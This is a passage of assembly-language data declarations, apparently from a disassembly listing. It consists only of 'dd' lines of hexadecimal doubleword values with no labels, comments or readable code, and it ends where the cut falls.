dd 6F503C4Fh, 55D01900h, 0A64452B3h, 840F49E6h, 5F11530Bh
dd 0D7418B62h, 637CC2F5h, 71EEA8C4h, 0C793B0C3h, 6E242EF8h
dd 2F821C4Fh, 505A7C07h, 0D309FDBFh, 7B5B2C6Ch, 6F1670E6h
dd 0B7A50F03h, 1D75EEBh, 93A290B4h, 6DC32B48h, 0FB528A44h
dd 0EDC409FCh, 0B6FCF28Bh, 80C6B7A5h, 0AC6B7BCEh, 4E12AE01h
dd 0DB40FA3Ah, 0ECBEB024h, 324D0BC9h, 2FD6C08Bh, 6A5FF80Bh
dd 0B1CD6084h, 85C7801Fh, 0D3F5A395h, 7774BAEDh, 424CF99Bh
dd 9EF32DEAh, 3B124529h, 0FB1C250Bh, 0A2D0A5EBh, 7ACB2BEDh
dd 80789A5Ah, 0CF565E08h, 0D18D1689h, 186CB716h, 4B310EE8h
dd 0E0E3077Eh, 0BFDBC0F5h, 0DCC45EC0h, 52986A35h, 0FC19D13h
dd 79E647E4h, 72D32AF5h, 0ACD125A4h, 0AE2B2A05h, 0A7F29320h
dd 870F270Ah, 847009C4h, 39E28188h, 21311512h, 3A23B560h
dd 41292EC8h, 4B0CA52Dh, 0EE54064Ah, 6C23954Ah, 0F27A1F5Ah
dd 56677C07h, 5A5760F6h, 0F549FCCCh, 163BBCF6h, 0AD31C14h
dd 0A7D7D18Bh, 5DC0E7CDh, 2614E17h, 0EDBBA115h, 7F428876h
dd 6DC5456h, 69AD5CE6h, 0AE164445h, 0F288EF79h, 0DC0E0011h
dd 0FC3227E7h, 0DF271F7Fh, 0B35650E5h, 0C96B78F1h, 77612012h
dd 0C8BEA000h, 9D0D2229h, 95A1EB64h, 0F9E21417h, 27566600h
dd 8E5F40FBh, 0D5F23000h, 0B2BDF1EEh, 4EEF1218h, 659704A9h
dd 7B600921h, 7D770E8h, 0A8565104h, 0A0F80950h, 0FEB95881h
dd 83FD05FFh, 8B1215B8h, 484E8D95h, 0EBEDB621h, 0CFF3A546h
dd 0E70E2AE8h, 0FE692698h, 8971DE52h, 0B27EB589h, 4E8D6096h
dd 51E99203h, 87A7A285h, 16647A67h, 28602960h, 0E89C10B5h
dd 1A820092h, 6179D872h, 0EA00CB4Eh, 9997B771h, 285FEDDAh
dd 208669D5h, 83130D41h, 7C0D01E1h, 0F47D4721h, 9BE608B8h
dd 0F0D6A819h, 1FC611DAh, 66811711h, 3B3E4EEAh, 9823CF08h
dd 0FB19250Dh, 0D1C24200h, 0BCB4CD35h, 6B8015B6h, 0CC4A67B3h
dd 1040CD16h, 0D5604961h
dd 820093BCh, 0FB675D1h, 4C94A702h, 90C0CD3Ah, 0D763796Ah
dd 0AE77BA00h, 0BCB2D9A4h, 5E6F2414h, 1C46D65Eh, 0F359C904h
dd 0BE98C00Fh, 0CCB4A508h, 0F4377F40h, 0F7704D1h, 81CB30BDh
dd 12146145h, 0EAAD7D85h, 79912B18h, 0D246F78Ah, 8A479D28h
dd 0E9611564h, 79FE3087h, 0CB252C49h, 0E7737E1Ch, 0B6E610AFh
dd 0CC00923Ah, 3F3071EDh, 0E66A830Ah, 0C3660BC0h, 35435ABFh
dd 7EAC9C69h, 0D902F4FBh, 41BA66C9h, 5A4CAB0Bh, 0DC97BE75h
dd 2AD40E00h, 8719CC7Eh, 0BCBC91A1h, 0BE5DC880h, 0D697CEF4h
dd 0AE957500h, 4D20C59Ah, 244370C0h, 2640496Fh, 0BED08A4h
dd 6DA50D29h, 0FF80CF37h, 57DF4164h, 0E82F4800h, 0C277E081h
dd 12D05DCh, 2530C9B5h, 3E82A5FFh, 2600B86Eh, 87F178A7h
dd 0B5142909h, 4E2D21CDh, 1DF2D1A3h, 3B659D30h, 0D8020FF4h
dd 0BF8D1147h, 51859483h, 0B596C8BCh, 0EC1D3120h, 7BCCD38Dh
dd 0AC1800E3h, 7B2FD1FCh, 7CA713DAh, 0D471A8D3h, 1CF82443h
dd 9D162066h, 28813437h, 101CA3A9h, 0B796BAA0h, 2340116Fh
dd 2B4C4F6h, 29198615h, 87749F11h, 0C2721612h, 0B0B32202h
dd 5E357C62h, 105EFA81h, 0C14168D6h, 5C221325h, 0A065F6D2h
dd 398DBA71h, 20480B4Fh, 0C632597Ah, 640063ECh, 80DC4C25h
dd 0DB84AE3h, 493F8A6Fh, 4E06295Ch, 0EA00216Eh, 662DC519h
dd 1F51BBBFh, 6FAEADE1h, 0B2314054h, 5A29B0C4h, 1E9AD71Fh
dd 4FB77725h, 7A1A3A06h, 7BEED39Ch, 519D04BBh, 88AA7ACCh
dd 0FE0ADB6Dh, 560EC2C1h, 0BA040EA0h, 439B4F1Fh, 0F2DB3085h
dd 8E88580h, 8903A0BFh, 2BF50AE7h, 24BE8CBDh, 56D1A7D3h
dd 0E0B6F39Ch, 9D89BA2h, 94953B28h, 0EE092170h, 0CD617615h
dd 22D5C05Ah, 560449D8h, 4E35A8D0h, 124ED2h, 9D6107EBh
dd 5DE8E94Ah, 8C19FCh, 62A5A04Bh, 0BD89422Fh, 576D4A95h
dd 8E0C9A37h, 40E546E8h, 0C15E8B18h, 101CBEA2h, 402D1F11h
dd 2CA3EA8h, 0D600BC54h, 6BFB707Ch, 5EE1362Ch, 5A9001FFh
dd 3E1AC281h, 0F68935C2h, 96847B5h, 0B50EDF4h, 79B166B5h
dd 24904458h, 10343Eh, 0EB815BF8h, 7FC9644Dh, 73875C45h
dd 0FAFC6084h, 81610230h, 277071F3h, 1F7179FFh, 75B58982h
dd 42240C0Eh, 68AACB17h, 1CF3E387h, 15C9E002h, 4D26EE3Fh
dd 7AF660h, 82747FF0h, 0E883617Eh, 8925027Dh, 83AD7B14h
dd 1C8A2970h, 0AB0B1BF0h, 0D95D0500h, 5FE74499h, 220E348h
dd 85016059h, 0FFA2C4F8h, 7C8D76E3h, 0E3D6E907h, 235612E8h
dd 0BFCD8017h, 5DCA007Bh, 0AD327EB8h, 0B5E49C6Fh, 26034D16h
dd 830A90B0h, 0C3685EA2h, 9073D873h, 6CB04603h, 0B02F1FD5h
dd 3C889F0Fh, 6F007F57h, 0A6143DD8h, 0EF7E08CAh, 0B5FE5D00h
dd 9904E20Ah, 814C012Ch, 5433FB4Fh, 380EC71Fh, 987AA643h
dd 0C1202711h, 19484719h, 34588364h, 0A89E421Ah, 302445CCh
dd 8A316DDAh, 7201CE70h, 719DCF7Eh, 198C62AFh, 429928A3h
dd 30C06FF0h, 73A9383Eh, 0D8060E34h, 1460DAA5h, 5F7E5D10h
dd 0D2643300h, 0F4DE1D4Fh, 48280042h, 86CE9481h, 89779308h
dd 1A216E0Ch, 0CE0B12Fh, 6201BAFh, 5F41D120h, 96C487E1h
dd 607A0189h, 0ABB1D0Ch, 83D9B923h, 0B6831BA0h, 0CE11070Fh
dd 8003CBDFh, 1E6FE8D6h, 462119D8h, 3E170330h, 7ACAB19Dh
dd 3AE15064h, 20DA5D41h, 0C2C8800Fh, 0F5FC5137h, 0EA730CD3h
dd 0C180A28h, 0B32FA300h, 7742171h, 81F67A5h, 4DECCF08h
dd 9FEEA8B8h, 0E919608h, 3FE00067h, 47D5FD40h, 0BDA47E1Ch
dd 9217AF00h, 31B19CA0h, 9491717Ah, 0C2F2E916h, 7F5DA340h
dd 873E3379h, 0EF5E8AAEh, 70B18057h, 0A20061F1h, 76009CD2h
dd 0CD1A5D09h, 18FE8ED7h, 20839D6Ah, 720AAB1Fh, 20EED04Fh
dd 8C81AB70h, 3ECAD8C2h, 5F10487Eh, 9260034Ah, 5B3B3C08h
dd 8306483h, 52C42171h, 93C90F60h, 0AE05092Ch, 3FD420B7h
dd 453F3E90h, 236386A6h, 61089B9Eh, 87E02118h, 4782F03Eh
dd 0E3B0A00h, 5E954810h, 42D41268h, 0B7200F46h, 91305C2Dh
dd 8E80B060h, 0A3A6473Eh, 0DE12448Ch, 933E8500h, 5058B628h
dd 0D5D91D71h, 17B78033h, 792289FDh, 0A1B6C0A0h, 87639E00h
dd 69996B9h, 0C118C36Eh, 58DA4C7Fh, 0B6775848h, 0DDD7DC00h
dd 0D61B03BBh, 4F08CCC3h, 0AE409821h, 0B44B2EBFh, 50561270h
dd 0CF23ACC8h, 8F604701h, 7B186408h, 1F4FBF88h, 809D6760h
dd 0A075AE10h, 0A9C459C6h, 0CA0F711Fh, 0C04E8890h, 0DDD5DCB8h
dd 4B22CB46h, 0DCB09603h, 863EECh, 665AC671h, 0E1FA3AD9h
dd 0C5B84400h, 670CE041h, 49C4A016h, 0C10B7487h, 9AD4DE30h
dd 8818B143h, 0BD006766h, 8628A806h, 43A1417h, 54B7C04Bh
dd 3CE5CC27h, 0A100CF58h, 372C39C7h, 0B6308ECAh, 87F22126h
dd 167501B0h, 0D4AE1BACh, 0F521E93Eh, 0A2502357h, 0F61B3076h
dd 0D9BDB502h, 6088E4C2h, 0A0407A50h, 844F8260h, 0B786B111h
dd 8C4DAC40h, 0D8DCB504h, 8EB3DDh, 0DCAD9900h, 0E1E7C00Bh
dd 853E9418h, 0D02C89h, 3DD20D55h, 3C6F496h, 4DDAA63Eh
dd 0D0D864F4h, 90604460h, 114C0823h, 0BE3E75h, 6CDB9460h
dd 16265447h, 31E423A2h, 319AA04h, 0C288CB35h, 0FF9C481Dh
dd 0B61700D7h, 837AD296h, 8CCDA9Eh, 5C2113h, 68AB17D0h
dd 0FEE8DB60h, 0BC20F498h, 0C454850Dh, 4E8F6073h, 7899266Ah
dd 0DFFD003Ch, 5AC1B815h, 0B111EC91h, 4A3E9580h, 87ABA6h
dd 0A83E8CDDh, 0B6015C6Dh, 19C6BB41h, 38209C69h, 0CD184143h
dd 8CDC48A4h, 14601448h, 88EC84ABh, 0DCBCC052h, 0AB46DDD1h
dd 9A005122h, 0B9F9DCB4h, 0C2F7A4Bh, 76B2AC84h, 0D40E770h
dd 3AB60241h, 59DDB83Dh, 0C116C9Dh, 790DC09Eh, 0CAA8401Bh
dd 0BC10CC28h, 78A18A2Ch, 7628743h, 6404CE99h, 69E3F060h
dd 5C02E6F1h, 0BA0A2A36h, 6330423Eh, 8402EFDh, 0C049144Bh
dd 8327870Dh, 61D8E440h, 0CDFE00Fh, 8821F217h, 8D008656h
dd 0C7F066A1h, 0EB7B91Ah, 74974081h, 9D0600ABh, 0E2EF10EAh
dd 0B4090BDFh, 276CDCBh, 123DAD8h, 6501A268h, 809086FCh
dd 22D00FFEh, 0A80C1CA3h, 0A8070CE2h, 1A7E2427h, 6087445Ch
dd 23B717D6h, 0A11DA96h, 17CF5F00h, 0B1CA0D5Dh, 3D527402h
dd 41FBC67Ch, 0FD1E060h, 0C077C80Eh, 0EEFBEC66h, 995470F5h
dd 3F7700F5h, 58E9D9C6h, 94618CEh, 5C088E60h, 0C000E01Ch
dd 737A604Eh, 283D6A51h, 2090227Bh, 1B08FFD8h, 5B11B8h
dd 89F11D9Eh, 0E0B0BD9Ah, 0A1782520h, 9218B430h, 0A64B3E0Bh
dd 24B81CC3h, 4089DAh, 0ACCA5A22h, 0B1E3639h, 8CEE9197h
dd 741E3F8Eh, 13CC2368h, 8380548h, 7268222Ch, 6050C220h
dd 0BE662CE2h, 730803B0h, 0A8027729h, 0EF04DDFEh, 8930483Fh
dd 0E76740AEh, 0B64F4A7h, 4BA0C563h, 120024EBh, 422DCEF2h
dd 18A21A8h, 80B75671h, 0A975FD72h, 51809880h, 0C21CB8FFh
dd 23F2001Dh, 68694D9h, 9A4A8A12h, 0B5D41C41h, 71B221D5h
dd 0D4308DA0h, 5214B817h, 618650EAh, 9D0020CDh, 0F6C2B784h
dd 0A021C17Bh, 807296B4h, 36143EE0h, 842C861Fh, 0C4FE17D5h
dd 5E2C28FFh, 1917CE00h, 94BAF01Ah, 0EC4700D4h, 5B86DEE0h
dd 39267306h, 0ED87B046h, 2B416335h, 0A426361Dh, 536991E0h
dd 1836A100h, 968812D7h, 48E27727h, 6602D424h, 0AD5708C7h
dd 25A0404Ch, 8B48A646h, 88E1E040h, 0C561003Eh, 4451992Bh
dd 9FFEB5ADh, 840594Bh
dd 53A65017h, 0AA1E0A63h, 2988BBEh, 3E0EF434h, 0A97D2858h
dd 9048D0BAh, 1D12354h, 8916045h, 0BD000E54h, 4A98604Dh
dd 550CE729h, 58111B0Ch, 2289109Ah, 0E8104C6Ah, 20388C4Eh
dd 0A593B62h, 8C1428B6h, 0EA73C480h, 5C63Ch, 98D8D7EBh
dd 0B71E0103h, 55C1D200h, 96D36E83h, 0DA640118h, 7CE2A7D7h
dd 5EDC3409h, 0E8F01B5Ch, 46008C4Ch, 0A7728F0Dh, 52189F27h
dd 8702B4A6h, 2E99F6B9h, 0B6732050h, 47899316h, 0B752D027h
dd 19DCA010h, 0C55CC8h, 5A7C96E5h, 0C0B28AD8h, 591EF679h
dd 8C9EE8Eh, 0E4D04506h, 1980600Ah, 97300BE6h, 0F09D5AE0h
dd 74807711h, 8BC60CDBh, 3D727E0Ah, 45016446h, 77D2899Bh
dd 0DC96E8BFh, 18742162h, 2433ECDEh, 0CD8011DAh, 4CBE570h
dd 17EADA0h, 678DA1Eh, 9717E040h, 5E249418h, 40035146h
dd 0BA700914h, 0A11FEB83h, 46CC971Bh, 10E2D06Ch, 581E6AF4h
dd 8C12E8F4h, 0A83DD902h, 0C2FDBCF2h, 11E41F3Ch, 9DEC800Bh
dd 24DDBD24h, 825C9C4Ah, 15B6D4E0h, 98A2B044h, 51D9AC51h
dd 0E4005F18h, 90249221h, 0C025B6FAh, 1E22C981h, 0B90077A7h
dd 0DE143DD4h, 27FF4F75h, 88A40163h, 0BD98813Eh, 0A2CC7323h
dd 0F9043017h, 0C858301h, 1ED0EAA8h, 0FDFC0404h, 86A90B50h
dd 58200610h, 0E052E460h, 2304DE05h, 0B6840925h, 843DAC10h
dd 77007AF0h, 0FE24AB2Dh, 3E98DEEh, 30042282h, 601062A9h
dd 0A6017B95h, 6894A151h, 73C89CDEh, 0CCB102F8h, 0CA7C288Fh
dd 0FA904160h, 96B491DEh, 0A066CEE0h, 24B64108h, 2188DECh
dd 11A2D47Eh, 20CA2044h, 0B9C0CC51h, 46DDD4DCh, 26522293h
dd 34B19Dh, 6E2C0C33h, 9054AB8h, 0A18A8E44h, 0C400B025h
dd 0DE89A916h, 4F44A16Dh, 9B73448h, 0C3DDD6DCh, 9724001Ch
dd 5C00DDAFh, 6453770Bh, 22E8D6F4h, 4C7185Ch, 60677844h
dd 102C91B9h, 0AC3FF300h, 458A8890h, 9D5CB95Dh, 952960C7h
dd 53715C59h, 0C501CC19h, 843FE700h, 0B7A154BCh, 959A1388h
dd 0D5544060h, 0B603EC25h, 0B5E00600h, 0A5ECDB4h, 2DC25D8h
dd 0EA1F3081h, 0C8F03D5Dh, 3FDF0278h, 18503668h, 74DAA609h
dd 0C4000EEh, 0F0FE7A8Bh, 2D08F421h, 343947B6h, 9C67020Ch
dd 0FD992320h, 0B246A028h, 493E9402h, 0D859B3A6h, 3E8BDC60h
dd 0FB70F11h, 4900697Ah, 0BCE318DFh, 0A72E6090h, 0D508606Bh
dd 17A80068h, 55C5A30Ch, 0E09F10CEh, 0DFFC8FAAh, 0B4500135h
dd 7FAA111h, 0BCAC3CC7h, 93038C7Ch, 33E226ABh, 519D9052h
dd 54952819h, 1226A2F0h, 0A6C860F0h, 11889408h, 604983CDh
dd 0C734F295h, 51C1004Ch, 0A1D5A60h, 0D0878E30h, 537298CEh
dd 16A2A021h, 2F18F30h, 0F5110C2Dh, 64673FD7h, 6F600B64h
dd 0B101F3CEh, 872BE19h, 0FC263B24h, 0CE6B87F0h, 4919C00h
dd 3E57AEA3h, 0B73101DAh, 0B19462A1h, 25706C1Ah, 11F41DC1h
dd 9AC08705h, 0EF7782E0h, 2E49D792h, 11239Ch, 34219CDEh
dd 1B4CAEF4h, 248C8A78h, 0BA17D340h, 2CF24A96h, 0CC00608Ch
dd 6786F117h, 0F49B0CF4h, 4B50046Eh, 0C2A5E2A2h, 0F4D35DB9h
dd 0E23670h, 9E67999Ah, 1A53CB6Bh, 72CF26h, 30BEA08h, 0C2DA241Eh
dd 6B063904h, 90806745h, 2A531ACh, 9F87761Dh, 9407A841h
dd 0F052B685h, 0D400B86Fh, 8A0AF7B4h, 1C09F8DDh, 4885E2B2h
dd 801492C8h, 3E17C86Ch, 40D81B22h, 429E134Ah, 0A4221CB5h
dd 764674A0h, 4A18E30Eh, 0F8893921h, 0FADCE454h, 0B6040CBCh
dd 0D8005719h, 0CD6E4BFDh, 0AEDCDF1Fh, 9980382Eh, 1D120A95h
dd 0D65602F4h, 0B6AF57A3h, 0F6E26CFAh, 9A718AC0h, 0E5387DC1h
dd 0ACD09854h, 28A33545h, 0D1829A8h, 1DC2FCE0h, 84BC7960h
dd 68F4A08Ah, 58EA1046h, 0A31A0B03h, 910E155h, 19B8982Ch
dd 9AB6018Ch, 7A336B46h, 8DC1C00Dh, 33B4F76h, 361A0473h
dd 64988A1Fh, 0BC1704D1h, 8B7B0296h, 0CA6200ACh, 0E2F4BD17h
dd 18AB0E40h, 6E665D7h, 0A82FD823h, 0BD8020A9h, 0A01786D6h
dd 802D7AF8h, 566216B6h, 5004F2E9h, 0C0CF581Ch, 30219302h
dd 8CA04986h, 0A6E4BC54h, 6E3B2000h, 84C351DDh, 0D4890008h
dd 0F8BBD4Dh, 3D7FEDC4h, 0CC01A4A8h, 0E7237301h, 1668388Eh
dd 99B2F940h, 1CB409F9h, 0DA80BF34h, 0D8243E5Bh, 24382D49h
dd 867089Fh, 0C7F574C7h, 2A0FBCC1h, 0ED073006h, 0F1569647h
dd 0C06718Ch, 20D2A7DFh, 0B80540C9h, 0B2FCDE1Ah, 6C41F440h
dd 486B0839h, 758330Dh, 6A5E1F02h, 58C85469h, 0FDF08606h
dd 0A5DB5D41h, 0B0048056h, 94040B02h, 0DE30E499h, 416053E6h
dd 5C5E9C18h, 3C6800A1h, 1EDFFEE9h, 0C254DCE0h, 4E3EE4B8h
dd 0E00F2A64h, 930652ECh, 88863F46h, 145E4C69h, 0A169C279h
dd 3E0371F6h, 33E90087h, 0B2E74B77h, 8301CA6Ch, 641DBEFEh
dd 1C28EF03h, 0A024B615h, 40AD521Eh, 5C8326A8h, 0CD00811Ah
dd 3B2F5DDh, 92BD82FEh, 0DE751C68h, 9304A6DCh, 64A08896h
dd 8D04084Ch, 0A2DC61B6h, 0C50626EAh, 0A4502408h, 91133A4Ch
dd 448542h, 1F4AD1BCh, 0C535931Ah, 2CF26862h, 5D3012F2h
dd 0F6716Ah, 70FEE2CEh, 0CE83517h, 5FA56712h, 20CA6042h
dd 0D44208h, 0FC787288h, 0D01C67EAh, 0A8B786A6h, 6BD5502h
dd 0ABEEFDAAh, 91081DB8h, 7B638071h, 5BD2A834h, 664802B8h
dd 0B85908CDh, 0E8180C71h, 0A9841416h, 732AB404h, 0DD4E0200h
dd 7E013F4Dh, 833E9FCFh, 40386B32h, 78C53BCh, 69751D92h
dd 33BA4017h, 1EF66885h, 1A34B09Ah, 6C8E91A7h, 89C10C88h
dd 95DCFD7Ch, 0F4E00B55h, 0CC13176Ah, 0E8D863F4h, 8CCA96B5h
dd 985D0644h, 0FC973F78h, 236CB801h, 443CE2A8h, 0C8C8CEECh
dd 0A6A1C076h, 7409C0EAh, 4AC5F0Bh, 14C1A500h, 588002F4h
dd 0E06094AFh, 5E6F1C77h, 6D91E08h, 109761B8h, 23D03A47h
dd 0C690E0Dh, 99A25081h, 0B102D4Eh, 89070D12h, 40698908h
dd 74DB2408h, 76D8B69Ch, 0A7247346h, 87751F70h, 0C8B6C7D2h
dd 918097A7h, 0D879804Ah, 0BC299B08h, 0A8C2CF8h, 298590Ch
dd 3673CA05h, 0C580C8B7h, 45DFC94Ch, 3F360130h, 0A3AC32D6h
dd 0B19CC8B4h, 0C44F8A25h, 0B9B861ECh, 489B449Fh, 59815610h
dd 0FE31A810h, 66C96A18h, 2A6420B0h, 95D8A001h, 3766C04h
dd 0E28B7h, 0F8B33819h, 81C8A480h, 170307BFh, 6A0F40EFh
dd 0BAE03C2h, 2F32F4DEh, 0EA32021h, 22D420B0h, 60A551DDh
dd 2C32FE4h, 885B7D9Fh, 28C84D8Ah, 0A8CA1E29h, 0FF81C87Ch
dd 0A7B7D9BCh, 4032B830h, 0A8093E43h, 5BF4D8DAh, 0DEF0D320h
dd 0C2017C2Dh, 0CAA65458h, 0D84017E0h, 63B5A24Eh, 0F424905Ah
dd 0EBD050D8h, 0A644F004h, 0E8A2635Bh, 0C53010F2h, 3A4F0256h
dd 51758A66h, 2822F064h, 91104819h, 61898700h, 0B97CBFE4h
dd 0AC595813h, 0E3A71B00h, 1CF521C9h, 2E35A841h, 0E97000D8h
dd 0FF63FA4Eh, 48A6DCBCh, 24254A1Dh, 48E8EA58h, 0BC35352Fh
dd 40725D80h, 71B2F32Fh, 0F51B0FE2h, 40F6AE91h, 5B5404E8h
dd 6800814Dh, 356657A2h, 94804086h, 0A037001Ch, 0A3062E5Fh
dd 711AE216h, 2B006C7Ah, 1AFA7DB2h, 151E4533h, 0ECE4B880h
dd 4C9FA640h, 2EA5018Fh, 604E1D2Ch, 3D1BE4E1h, 8945C707h
dd 28B4EEBCh, 0A01A8E9h, 8E2AE362h, 6072E25Bh, 20958A18h
dd 1A0EA879h, 0B9CE7306h, 177910D1h, 0BC00F618h, 0A83C87F3h
dd 90F004F2h, 0C988805Ch, 76909480h, 5020A46h, 0D6DC6042h
dd 1C968C68h
dd 1853F22h, 71AAFCCAh, 0C8F1AC17h, 232482F7h, 0FF4194DBh
dd 0C824B9C4h, 48B60583h, 0A1EE9995h, 6EC46098h, 0C959136Eh
dd 11B49D5Ah, 0EE4C8777h, 804EB493h, 3B81CD9h, 0E88D47FCh
dd 0B6A44F99h, 0CC0AE0D0h, 0DD60004Bh, 9215046Bh, 0D488811Eh
dd 4B48925Bh, 23102E35h, 0DC121C0Ah, 3AAF00D5h, 0A3236EB3h
dd 38AC6953h, 80403DC9h, 338D6D8Bh, 0CCD643h, 0A337BA8Fh
dd 872573A1h, 70B16160h, 2AAD59Fh, 0A5E94418h, 0F85EB54Bh
dd 17B2AD40h, 0D0DE0027h, 0D5D43D69h, 0F0000353h, 0A225869Dh
dd 2E3B3DAh, 0A3085D0Ch, 0BC5048C1h, 8030D225h, 0D14FEFB4h
dd 193803DFh, 18AD872Eh, 0C7DC80A5h, 0B5068ED8h, 9FB6CF47h
dd 50630428h, 4086D745h, 0D03EB791h, 46A009B6h, 0BAF8C6FEh
dd 7403D09Eh, 62155CCAh, 5A291868h, 0CDC0FE02h, 7EF9C094h
dd 912D96B1h, 9060816Ah, 4463A342h, 42608C45h, 780B6914h
dd 97CA5484h, 364D0C0h, 71821EFCh, 18137964h, 40989656h
dd 0F4B2D98h, 0A03E5B27h, 2F501B4Ch, 1707863h, 0DE8045DBh
dd 0E84F4786h, 7F3A590Eh, 0B758075Bh, 9460859Ch, 6D87C0h
dd 461AEFAFh, 560E437Fh, 1DB8403Ah, 21CBC367h, 20860057h
dd 3B6FE8Fh, 0B522AA1Ah, 29348717h, 180E217Fh, 4F49B88Fh
dd 0D8FA23h, 3BEA2428h, 17A82026h, 465EC494h, 0A8C7037Bh
dd 593EE1Dh, 6E1FF28h, 84F0C1A6h, 0EC1C2810h, 38018C77h
dd 0A3ADB191h, 3C739D18h, 0A293583Ah, 6978A122h, 78D8B900h
dd 80F33C49h, 0A806BC00h, 22F4CA45h, 0D3E71091h, 0F4B61278h
dd 610F37DCh, 40BF4051h, 36A93C12h, 42A7906h, 7414EBCAh
dd 8EB495EAh, 0C072C828h, 0D59EAADFh, 7CE8C03h, 0A20C7DD4h
dd 172C7826h, 0DE88BE89h, 0B30E8000h, 2B9FAA5h, 91953702h
dd 820E7B5Eh, 5C291F04h, 439F8710h, 7C6DC912h, 4CF967C0h
dd 0C1E50035h, 64B5DDF5h, 2CB92209h, 7652B104h, 1E811C03h
dd 145E56E2h, 70124674h, 0CCA5713Eh, 81F18B64h, 91AF0F6Ch
dd 18BC0C38h, 75E4008Ch, 0B8E695BDh, 4174EEAEh, 6D2C2171h
dd 53110C01h, 6A451867h, 607E1ECCh, 10B08D4Ch, 0D41C4A15h
dd 30579ADFh, 40419CCFh, 0BCF49752h, 37C43C46h, 0D6891077h
dd 4E00479h, 0FCB31CEFh, 0BD3011B2h, 0D65000A8h, 0F8E62A46h
dd 580994C9h, 0A0E401DEh, 2FB41890h, 0B1931706h, 0AF342250h
dd 123E8F30h, 0CB9BA648h, 86DF00CCh, 201CB33Eh, 0A56B3906h
dd 1916A040h, 0C09A3583h, 15FB63C0h, 913B437Ch, 0C030C8F2h
dd 0BAEFFD4Eh, 0DDD709C6h, 0B479FFAFh, 0FA180B79h, 54F2470Bh
dd 0FC605A16h, 0F140810Fh, 0C41C3B2Ch, 0C453B900h, 1CA6622Ah
dd 6F1FD7DDh, 698078B7h, 1ED4FDE6h, 4AD0901Bh, 6044C94Eh
dd 3009D5B0h, 3033E14Ah, 514A844h, 5589931Ah, 0A290F36Eh
dd 0EC653017h, 83BC5400h, 1A49D6FEh, 24DA38A6h, 16A08050h
dd 0E4DF2391h, 0B8A4277Ch, 7B9A9801h, 87C5ADFBh, 48000873h
dd 54DABCCFh, 8B1CCE8h, 0A01874D1h, 11E07B60h, 0CB15958Ah
dd 0C45286B1h, 0A94C503h, 80937CCFh, 2C1B4236h, 95EDA0h
dd 0D9515C8Bh, 0DC935D04h, 46743424h, 424A1F13h, 30154445h
dd 42C468C2h, 0D1CCD900h, 0B0781875h, 0C3C789Eh, 48856C67h
dd 4700B3D1h, 0ABF3FB3Bh, 0BAF48Dh, 8B179431h, 7EA41BF2h
dd 9FFD9A1Dh, 0CC1328FFh, 9C9BD0A0h, 0DCE041C2h, 98CD81Eh
dd 0B288CE91h, 8FFF5483h, 746624D1h, 179FCCE4h, 807C91B8h
dd 0CF93A923h, 116F0454h, 0A26878B1h, 15E4C44h, 0E58152C8h
dd 8862247Ch, 0B230B292h, 55703076h, 72E10200h, 3DF0E0B4h
dd 1D21CF84h, 19DB16A0h, 27C89A9h, 0EC580C58h, 56008C4Ch
dd 0A86215F3h, 0BE0EECF2h, 5373173Ch, 0A214E308h, 58203012h
dd 647CA500h, 0D02968F5h, 9101EC0Eh, 99EE029Ch, 0B072703Ah
dd 0F1111621h, 0CB21813h, 80129214h, 0F7B0D850h, 0E1501A6Eh
dd 1FC3DB24h, 23A43B6Eh, 0B1380071h, 0CD4B825h, 6412740Ah
dd 1607640Ah, 10BB569Ah, 80245348h, 0BD04679Eh, 1CD7BE35h
dd 49F284E0h, 42099CC0h, 0D8E3CDA3h, 0F8EC4858h, 27008C0Ah
dd 0C606BDADh, 170E4B85h, 8DE73A9h, 5D922468h, 2EE13CF6h
dd 36FF70EFh, 9637C3Ah, 108A3EE3h, 0EBB288h, 5D4ADF07h
dd 0E0DE996Eh, 0B0A9163Fh, 0D7CA90BFh, 770425E1h, 0C744F448h
dd 5464A105h, 85EAAF53h, 0DA68205Ah, 27090410h, 0D18F4477h
dd 184D79F0h, 0A97307A1h, 1BD7694h, 40F22FDDh, 0E4F3FDF8h
dd 0A1B02850h, 0E2749401h, 4BD0E704h, 0AB28833h, 7DC43031h
dd 0E6E100F6h, 0E9693514h, 45AF2A7h, 0DFFE98C0h, 1437B719h
dd 7D12C101h, 0D0D1FF4Ah, 0EB003033h, 435DD498h, 0AD0423F4h
dd 383DDCEh, 0F8B948EDh, 0C116FDBAh, 8CF3095Ah, 0D93072A2h
dd 71334E2h, 0F3B481E8h, 1C146005h, 1080027Bh, 8033E521h
dd 96307BB2h, 0EA1200FCh, 9E50F948h, 8B2706A6h, 56686299h
dd 0B035E99Ch, 531D2980h, 0F29FF7E2h, 30342D47h, 12E4AC45h
dd 8063B161h, 203D49F8h, 5A6AFE9Ah, 1EF4C031h, 2D2D0464h
dd 64A8E71Fh, 0F4026005h, 0DF7313B3h, 7D23003Bh, 0B62EA84Ch
dd 88CF4F00h, 7A8568A1h, 0FCEE048Ah, 85463ADFh, 0CB101398h
dd 0C419C8B8h, 8050C449h, 8E11013h, 8021A32Dh, 4E389EB8h
dd 0C5EEF0h, 2CAC189Fh, 0CA89A8A0h, 3303CC94h, 25223A28h
dd 0E048B750h, 2C12D5D2h, 0BC51D15Dh, 4C9BB8B4h, 0C27A438h
dd 5C9D4062h, 3A8F7C11h, 8476407Eh, 0AF2EB3F7h, 87403F1Eh
dd 4E80C4E4h, 0B0C03994h, 30FE69h, 23E43A2Fh, 6A4698F7h
dd 68018AFEh, 0A30CB673h, 9460E3D4h, 66311FFh, 0B1F40422h
dd 68AC530Ah, 3B1EFD11h, 8A860BB2h, 87E8909Ch, 88F28848h
dd 0F032B700h, 79A0D5D9h, 4924004Ah, 54672265h, 0C8523780h
dd 0D24009ECh, 972850FCh, 0C0893431h, 3C022FB1h, 3ED85B58h
dd 72C22070h, 0F5001E29h, 68EF3501h, 99F39Dh, 82D3F9C0h
dd 26A99745h, 907800B5h, 0D73996A3h, 0B268A358h, 52583050h
dd 0AC2B2A00h, 7415D3E8h, 123835DAh, 0B8C0A9B8h, 0D40901B0h
dd 5EFCE0C8h, 40800447h, 7435EA64h, 0A6D21D74h, 5F4C873h
dd 3A48D60Eh, 25482CEh, 633E0250h, 7018CCA3h, 0C1B5ECA8h
dd 0FF25EE7Bh, 0F40C907h, 6A007D08h, 1130C221h, 0B5F83Ch
dd 43352DD7h, 0E0EEA34Ch, 0EDC38C00h, 33103ED6h, 70F4A1B6h
dd 10618611h, 0D2512h, 0D25FF274h, 1864ADCAh, 0A01FBE7h
dd 0F5A83C07h, 532FF0D3h, 775C0034h, 0C96DCE0h, 0F001ECB1h
